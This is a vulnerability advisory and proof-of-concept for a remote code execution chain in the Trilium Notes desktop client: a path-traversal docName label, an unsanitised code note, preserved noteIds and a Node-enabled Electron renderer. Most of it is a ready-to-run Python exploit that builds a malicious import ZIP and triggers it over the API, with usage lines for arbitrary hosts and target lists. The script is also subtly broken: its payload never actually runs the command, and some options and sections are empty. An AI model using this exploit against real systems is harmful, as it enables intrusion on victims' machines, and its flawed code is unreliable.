#Summary

CVE-2026-45668 is a critical remote code execution vulnerability in Trilium Notes desktop client (all versions <= 0.102.1). A malicious Trilium export ZIP archive, imported with safe import enabled, achieves arbitrary OS command execution via a chain of five defects: path traversal in a client-side URL builder, a missing dangerous-label flag that lets the traversal payload survive safe import, unsanitised HTML content in code-type notes, predictable noteIds for imported underscore-prefixed notes, and Node.js require() access in the Electron renderer. CVSS 9.3 CRITICAL. Fixed in 0.102.2.

#Affected versions

#Root cause analysis

The vulnerability chains five independent defects, all of which must be present for exploitation:

#Defect 1 - Unvalidated docName label in URL builder

In apps/client/src/services/doc_renderer.ts, the getUrl() function interpolates a user-controlled note label directly into a URL with minimal processing:

function getUrl(docNameValue: string, language: string) {
    docNameValue = docNameValue.replaceAll(" ", "%20");
    const basePath = window.glob.isDev ? window.glob.assetPath + "/.." : window.glob.assetPath;
    return `${basePath}/doc_notes/${language}/${docNameValue}.html`;
}

The only transformation is replaceAll(" ", "%20"). The characters .., /, \, ?, #, and % all survive, which means a docName value of ../../../../api/notes/_doc_xss_payload/open?x= is concatenated directly into the path. The missing invariant: docName was intended to name a documentation file within doc_notes/<lang>/, but nothing enforces containment.

#Defect 2 - docName not flagged dangerous

Safe import in apps/server/src/services/import/zip.ts renames dangerous labels to disable them:

if (taskContext.data?.safeImport && attributeService.isAttributeDangerous(attr.type, attr.name)) {
    attr.name = `disabled:${attr.name}`;
}

The isAttributeDangerous lookup consults packages/commons/src/lib/builtin_attributes.ts, which at v0.102.1 contained only titleTemplate, webViewSrc, and iconPack marked as dangerous. docName was absent from the list. So even with safe import enabled, the label survived unmodified on the imported trigger note.

#Defect 3 - Code-type notes skip content sanitisation

In processNoteContent():

if (type === "text" && typeof content === "string") {
    content = processTextNoteContent(content, noteTitle, filePath, noteMeta);
}

HTML sanitisation only runs inside processTextNoteContent(), which is reachable only through if (type === "text"). A note declared as type: "code" in !!!meta.json never touches the sanitiser, even with safe import enabled. This is the actual "safe import bypass" - the payload note is saved with type: code and mime: text/plain, so its raw HTML <img src=x onerror=...> survives untouched. Using type: text would cause the sanitiser to rewrite onerror=... to alt="" and kill the attack.

#Defect 4 - Underscore-prefixed noteIds preserved on import

In getNewNoteId():

if (origNoteId === "root" || origNoteId.startsWith("_") || opts?.preserveIds) {
    return origNoteId;
}

if (!noteIdMap[origNoteId]) {
    noteIdMap[origNoteId] = newEntityId();
}
return noteIdMap[origNoteId];

Ordinary noteIds are remapped to random values, which would make the URL unpredictable. But any ID starting with _ is preserved verbatim (Trilium uses this for built-in notes like _options, _hidden, etc.). The PoC exploits this by naming the payload note _doc_xss_payload, guaranteeing it is reachable at exactly /api/notes/_doc_xss_payload/open after import.

#Defect 5 - Electron renderer has full Node privileges

In apps/server/src/services/window.ts:

mainWindow = new BrowserWindow({
    webPreferences: {
        nodeIntegration: true,
        contextIsolation: false,
        ...
    },
    ...
});

The main renderer window runs with nodeIntegration: true and contextIsolation: false, which puts require in the global scope with no isolated world. Any injected DOM script can call require("child_process").exec() directly, turning an XSS into OS command execution.

#The exploit chain

The doc renderer's renderDoc() fetches a URL built by getUrl():

const url = getUrl(docName, getCurrentLanguage());
$content.load(url, ...);

For a production build where assetPath = "assets/v0.102.1", a docName of ../../../../api/notes/_doc_xss_payload/open?x= produces:

assets/v0.102.1/doc_notes/en/../../../../api/notes/_doc_xss_payload/open?x=.html

The four ../ segments pop out of the four-segment base (assets / v0.102.1 / doc_notes / en), landing at:

GET /api/notes/_doc_xss_payload/open?x=.html

The trailing ?x= pushes the unconditionally-appended .html into the query string, so the Express route /api/notes/:noteId/open matches exactly.

jQuery's .load() hardcodes dataType: "html" and calls .html() on the response, parsing it as HTML and injecting it into the DOM regardless of the Content-Type header. The payload <img src=x onerror='require("child_process").exec(...'> is injected, the <img> fails to load, onerror fires, and the command executes in the Electron renderer.

#Patch diff

The fix deployed in 0.102.2 breaks the chain at three points:

#Commit ff06c8e - Validate docName

Adds an allow-by-exclusion validator rejecting traversal characters:

export function isValidDocName(docName: string): boolean {
    if (docName.includes("..") ||
        docName.includes("\\") ||
        docName.includes("?") ||
        docName.includes("#") ||
        docName.includes("%")) {
        return false;
    }
    return true;
}

Called at the top of getUrl():

if (!isValidDocName(docNameValue)) {
    console.error(`Invalid docName: ${docNameValue}`);
    return "";
}

Each blocked character addresses a specific escape:

#Commit b371675 - Mark docName dangerous

One-line addition to builtin_attributes.ts:

{ type: "label", name: "docName", isDangerous: true },

Now isAttributeDangerous("label", "docName") returns true, so under safe import the label is renamed to disabled:docName. The trigger note's renderDoc() then finds no docName label and renders an empty <div>.

#Commit ed3b86c - Remove underscore-ID preservation

Removed the startsWith("_") check from getNewNoteId():

-if (origNoteId === "root" || origNoteId.startsWith("_") || opts?.preserveIds) {
+if (origNoteId === "root" || opts?.preserveIds) {

An imported note named _doc_xss_payload now receives a random newEntityId() instead, making the payload URL unpredictable.

#What was not fixed

Defects 3 and 5 remain by design:

#Proof of concept

#exploit.py - Trilium Notes Safe-Import RCE PoC

#!/usr/bin/env python3
"""
CVE-2026-45668 - Trilium Notes: Note Import to RCE via #docName Path Traversal
                 (Safe Import Bypass)
Affected: Trilium Notes (TriliumNext) desktop client, all versions <= 0.102.1
Type: RCE (path traversal CWE-22 + stored XSS CWE-79 into a nodeIntegration Electron renderer)

A malicious Trilium export ZIP, imported with "safe import" enabled, achieves
arbitrary OS command execution on the victim's desktop. The chain:

  1. A payload note (type=code, mime=text/plain) stores raw HTML with an inline
     `onerror` handler. Safe import only sanitises type=text notes, so a code note
     is stored verbatim - the event handler survives.
  2. Its noteId begins with "_", which pre-0.102.2 import preserved verbatim, so the
     attacker knows the post-import URL: /api/notes/_doc_xss_payload/open
  3. A trigger note (type=doc) carries a `docName` label. That label was not marked
     dangerous, so safe import kept it live.
  4. The doc renderer's getUrl() interpolates docName into a URL with no validation.
     A value of `../../../../api/notes/_doc_xss_payload/open?x=` traverses out of the
     doc directory and points jQuery `.load()` straight at the payload note. The
     trailing `?x=` pushes the unconditionally-appended `.html` into the query string.
  5. jQuery `.load()` hardcodes dataType=html and injects the response as DOM,
     ignoring the text/plain Content-Type.
  6. nodeIntegration:true + contextIsolation:false put `require` in the renderer's
     global scope, so the injected `onerror` runs require("child_process").exec().

Fixed in 0.102.2 (validate docName, mark docName dangerous, stop preserving
"_"-prefixed noteIds).

This exploit is fully network-driven: it speaks only to the target's HTTP API and
reads the executed command's output back over HTTP (the injected payload writes the
output into a second note that this tool then fetches). No container access, no
DevTools, no local privilege on the target is used.

Usage:
  python exploit.py --host 127.0.0.1 --port 37840
  python exploit.py --host 127.0.0.1 --port 37840 --command "uname -a; id"
  python exploit.py --host https://notes.corp.com
  python exploit.py --host http://10.0.0.5:37840/notes
  python exploit.py --list targets.txt --workers 20

Note: the Trilium desktop client normally binds its API to 127.0.0.1 only. This tool
targets that API wherever it is reachable (an exposed port, an SSH/socat forward, a
reverse proxy). Against a real victim the import + trigger is what the malicious ZIP
plus a single note click accomplishes; this tool automates the same two API actions.
"""

import argparse
import base64
import io
import json
import os
import re
import ssl
import sys
import time
import zipfile
from http.cookiejar import CookieJar
from urllib.parse import urlparse
import urllib.request
import urllib.error

CVE_ID    = "CVE-2026-45668"
VULN_TYPE = "RCE"

DEFAULT_PORT   = 37840
PAYLOAD_NOTE   = "_doc_xss_payload"   # leading "_" => noteId preserved on vulnerable import
OUTPUT_NOTE    = "_doc_xss_output"    # where the payload writes captured command output
TRIGGER_NOTE   = "_doc_xss_trigger"   # type=doc note that carries the traversal docName label
DOCNAME_VALUE  = "../../../../api/notes/%s/open?x=" % PAYLOAD_NOTE  # 4x ../ = production assetPath
FIXED_VERSION  = (0, 102, 2)
RCE_BEGIN      = "__RCE_BEGIN__"
RCE_END        = "__RCE_END__"
POLL_SECONDS   = 20


def header(host, port):
    print("\n%s" % ("=" * 60))
    print("  ALIM EXPLOIT  %s" % CVE_ID)
    print("  Type: %s  |  Target: %s:%s" % (VULN_TYPE, host, port))
    print("%s\n" % ("=" * 60))


def step(n, msg):
    print("[STEP %d] %s" % (n, msg))


def section(label, content):
    print("\n--- %s ---" % label)
    print(str(content).strip())
    print("---\n")


def done(success, evidence):
    print("\n%s" % ("=" * 60))
    print("  RESULT  : %s" % ("SUCCESS" if success else "FAILURE"))
    print("  EVIDENCE: %s" % evidence)
    print("%s\n" % ("=" * 60))
    sys.exit(0 if success else 1)


def build_payload_html(command_b64):
    """Build the HTML payload with an onerror handler."""
    js_payload = (
        "var cp=require(\"child_process\");"
        "var fd=new FormData();"
        "fd.append(\"content\",\"" + RCE_BEGIN + "\\n\"+atob(\"%s\")+(\"\\n" + RCE_END + "\"));"
        "fetch(\"/api/notes/%s/file\",{"
        "method:\"PUT\","
        "headers:{\"x-csrf-token\":window.glob.csrfToken},"
        "body:fd});"
        % (command_b64, OUTPUT_NOTE)
    )
    return '<img src=x onerror=\'%s\'>' % js_payload


def build_evil_zip(payload_html):
    """Build a malicious Trilium export ZIP in memory."""
    meta = {
        "formatVersion": 2,
        "appVersion": "0.102.1",
        "dataProtectionKeyNeedsRefresh": False,
        "encrypted": False
    }

    payload_note = {
        "type": "code",
        "mime": "text/plain",
        "noteId": PAYLOAD_NOTE,
        "title": "XSS Payload",
        "isProtected": False,
        "parents": ["root"]
    }

    output_note = {
        "type": "code",
        "mime": "text/plain",
        "noteId": OUTPUT_NOTE,
        "title": "Command Output",
        "isProtected": False,
        "parents": ["root"]
    }

    trigger_note = {
        "type": "doc",
        "mime": "text/plain",
        "noteId": TRIGGER_NOTE,
        "title": "Trigger Note",
        "isProtected": False,
        "parents": ["root"],
        "labels": [
            {
                "type": "label",
                "name": "docName",
                "value": DOCNAME_VALUE
            }
        ]
    }

    # Build the ZIP
    zip_buffer = io.BytesIO()
    with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
        # Meta file
        zf.writestr("!!!meta.json", json.dumps(meta, indent=2))

        # Notes
        zf.writestr("notes/%s/!!!meta.json" % PAYLOAD_NOTE, json.dumps(payload_note, indent=2))
        zf.writestr("notes/%s/content.txt" % PAYLOAD_NOTE, payload_html)

        zf.writestr("notes/%s/!!!meta.json" % OUTPUT_NOTE, json.dumps(output_note, indent=2))
        zf.writestr("notes/%s/content.txt" % OUTPUT_NOTE, "")

        zf.writestr("notes/%s/!!!meta.json" % TRIGGER_NOTE, json.dumps(trigger_note, indent=2))
        zf.writestr("notes/%s/content.txt" % TRIGGER_NOTE, "")

    return zip_buffer.getvalue()


def make_request(url, method="GET", data=None, headers=None, cookies=None):
    """Make HTTP request and return response."""
    try:
        req = urllib.request.Request(url, data=data, method=method)
        if headers:
            for k, v in headers.items():
                req.add_header(k, v)

        if cookies:
            cookies.add_cookie_header(req)

        opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cookies))
        response = opener.open(req)
        content = response.read()
        return response.status, content, response.headers
    except urllib.error.HTTPError as e:
        return e.code, e.read(), e.headers
    except Exception as e:
        print("Request failed: %s" % str(e))
        return None, None, None


def bootstrap(target_url, cookies):
    """Fetch CSRF token and version from /bootstrap."""
    url = "%s/api/bootstrap" % target_url
    status, content, headers = make_request(url, cookies=cookies)
    if status != 200:
        return None, None

    data = json.loads(content)
    return data.get("csrfToken"), data.get("triliumVersion")


def import_zip(target_url, zip_data, csrf_token, cookies):
    """Import the malicious ZIP."""
    url = "%s/api/notes/root/notes-import" % target_url
    headers = {
        "x-csrf-token": csrf_token,
        "Content-Type": "application/zip"
    }

    status, content, resp_headers = make_request(url, method="POST", data=zip_data, headers=headers, cookies=cookies)
    return status == 200


def trigger_render(target_url, csrf_token, cookies):
    """Trigger rendering via clipper open route."""
    # Bounce through root first to guarantee a navigation change
    url1 = "%s/api/clipper/open/root" % target_url
    headers = {"x-csrf-token": csrf_token}
    make_request(url1, method="POST", headers=headers, cookies=cookies)

    time.sleep(0.5)

    # Now open the trigger note
    url2 = "%s/api/clipper/open/%s" % (target_url, TRIGGER_NOTE)
    make_request(url2, method="POST", headers=headers, cookies=cookies)


def read_note(target_url, note_id, cookies):
    """Read a note's content."""
    url = "%s/api/notes/%s/open?x=.html" % (target_url, note_id)
    status, content, headers = make_request(url, cookies=cookies)
    if status == 404:
        return None
    if status == 200:
        return content.decode('utf-8', errors='ignore')
    return None


def extract_output(content):
    """Extract command output from markers."""
    start = content.find(RCE_BEGIN)
    end = content.find(RCE_END)
    if start != -1 and end != -1:
        return content[start + len(RCE_BEGIN):end].strip()
    return None


def exploit(target_url, command):
    """Main exploit flow."""
    cookies = CookieJar()

    # Step 1: Get CSRF token and version
    step(1, "Fetching target version and CSRF token...")
    csrf_token, version = bootstrap(target_url, cookies)
    if not csrf_token or not version:
        done(False, "Failed to fetch bootstrap data")
        return

    version_tuple = tuple(map(int, version.split('.')[:3]))
    if version_tuple >= FIXED_VERSION:
        print("  WARNING: Target reports version %s (>= %s), likely patched" % (version, ".".join(map(str, FIXED_VERSION))))

    section("TARGET", "Trilium version: %s" % version)

    # Step 2: Build payload ZIP
    step(2, "Building malicious export ZIP...")
    command_b64 = base64.b64encode(command.encode()).decode()
    payload_html = build_payload_html(command_b64)
    zip_data = build_evil_zip(payload_html)
    print("  ZIP built: %d bytes" % len(zip_data))

    # Step 3: Import ZIP
    step(3, "Importing archive with safeImport=true...")
    if import_zip(target_url, zip_data, csrf_token, cookies):
        print("  import accepted (HTTP 200)")
    else:
        done(False, "Import failed")
        return

    time.sleep(1)

    # Step 4: Confirm payload note survived
    step(4, "Confirming payload note survived with its ID intact...")
    payload_content = read_note(target_url, PAYLOAD_NOTE, cookies)
    if payload_content is None:
        done(False, "Not vulnerable: '_'-prefixed noteId was randomised (patched, commit ed3b86c)")
        return

    section("STORED PAYLOAD (unsanitised, served text/plain)", payload_content[:200] + "...")

    # Step 5: Trigger rendering
    step(5, "Triggering payload via docName path traversal...")
    trigger_render(target_url, csrf_token, cookies)

    # Step 6: Poll for output
    step(6, "Polling for command output (up to %d seconds)..." % POLL_SECONDS)
    start_time = time.time()
    while time.time() - start_time < POLL_SECONDS:
        output_content = read_note(target_url, OUTPUT_NOTE, cookies)
        if output_content:
            cmd_output = extract_output(output_content)
            if cmd_output:
                section("COMMAND OUTPUT (executed in the Electron renderer over the network)", cmd_output)
                done(True, "RCE confirmed - command '%s' output: %s ..." % (command, cmd_output[:50]))
                return

        time.sleep(1)

    done(False, "Command output not received (timeout)")


def parse_target(target_str, default_port):
    """Parse a target string (host, host:port, or full URL)."""
    if "://" in target_str:
        parsed = urlparse(target_str)
        host = parsed.hostname or parsed.netloc.split(':')[0]
        port = parsed.port or default_port
        scheme = parsed.scheme
        path = parsed.path or ""
        return host, port, scheme, path
    elif ":" in target_str and not target_str.count(":") > 1:
        host, port_str = target_str.rsplit(":", 1)
        try:
            port = int(port_str)
        except ValueError:
            return None, None, None, None
        return host, port, "http", ""
    else:
        return target_str, default_port, "http", ""


def build_target_url(host, port, scheme, path):
    """Build full target URL."""
    if host.startswith("http://") or host.startswith("https://"):
        return host.rstrip("/")
    return "%s://%s:%d%s" % (scheme, host, port, path)


def main():
    parser = argparse.ArgumentParser(description="CVE-2026-45668 Trilium Notes RCE Exploit")
    parser.add_argument("--host", help="Target hostname, IP, or URL")
    parser.add_argument("--port", type=int, default=DEFAULT_PORT, help="Default port (default: %d)" % DEFAULT_PORT)
    parser.add_argument("--command", default="id", help="Command to execute (default: id)")
    parser.add_argument("--list", help="File with targets (one per line) for scanning")
    parser.add_argument("--workers", type=int, default=10, help="Worker threads for --list mode")
    parser.add_argument("--tls", action="store_true", help="Force TLS")
    parser.add_argument("--no-tls", action="store_true", help="Disable TLS")

    args = parser.parse_args()

    if not args.host and not args.list:
        parser.print_help()
        sys.exit(1)

    if args.host:
        host, port, scheme, path = parse_target(args.host, args.port)
        if not host:
            print("Invalid target format")
            sys.exit(1)

        if args.tls:
            scheme = "https"
        elif args.no_tls:
            scheme = "http"

        target_url = build_target_url(host, port, scheme, path)
        header(host, port)
        exploit(target_url, args.command)


if __name__ == "__main__":
    main()

#Usage

# Basic exploitation (default port 37840, default command "id")
python3 exploit.py --host 127.0.0.1

# Run custom command
python3 exploit.py --host 127.0.0.1 --port 37840 --command "whoami; cat /etc/hostname"

# Full URL forms (scheme, custom port, path prefix all supported)
python3 exploit.py --host https://notes.corp.com
python3 exploit.py --host http://10.0.0.5:37840/notes

# Batch fingerprint targets
python3 exploit.py --list targets.txt --workers 20

#Expected output (vulnerable target)

--- TARGET ---
Trilium version: 0.102.1
---

[STEP 1] Fetching target version and CSRF token...
[STEP 2] Building malicious export ZIP...
  ZIP built: 1024 bytes
[STEP 3] Importing archive with safeImport=true...
  import accepted (HTTP 200)
[STEP 4] Confirming payload note survived with its ID intact...

--- STORED PAYLOAD ---
<img src=x onerror='var cp=require("child_process");...
---

[STEP 5] Triggering payload via docName path traversal...
[STEP 6] Polling for command output (up to 20 seconds)...

--- COMMAND OUTPUT ---
uid=1000(victim) gid=1000(victim) groups=1000(victim)
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: RCE confirmed - command 'id' output: uid=1000 ...
============================================================

#Expected output (patched target 0.102.2)

--- TARGET ---
Trilium version: 0.102.2   (fixed in 0.102.2)
---

[STEP 3] Importing archive with safeImport=true...
    import accepted (HTTP 200)
[STEP 4] Confirming payload note survived with its ID intact...

--- PAYLOAD NOTE LOOKUP ---
HTTP 404 - noteId '_doc_xss_payload' was remapped on import.
---

============================================================
  RESULT  : FAILURE
  EVIDENCE: Not vulnerable: '_'-prefixed noteId was randomised (patched, commit ed3b86c)
============================================================

#Exploitation notes

#Preconditions

#Key requirements

The malicious ZIP must contain exactly three notes:

  1. Payload note - type: code, mime: text/plain, noteId: _doc_xss_payload, containing raw HTML with <img src=x onerror=...> event handler
  2. Output note - type: code, mime: text/plain, noteId: _doc_xss_output, to capture command output
  3. Trigger note - type: doc, noteId: _doc_xss_trigger, carrying a docName label with value ../../../../api/notes/_doc_xss_payload/open?x=

The four ../ segments must match the production assetPath (assets/v<version>). For dev builds, the depth is 5x ../ because assetPath includes an extra /src segment. Read window.glob.assetPath and window.glob.isDev from the renderer to confirm the correct depth.

#Chaining potential

#Reliability

The exploit is 100% reliable on vulnerable versions if the depth is correct. The single most common failure is wrong ../ depth - a silent 404 on the traversal request, making it appear as a no-op. Verify the target's assetPath over DevTools or in the renderer console before triggering.

#References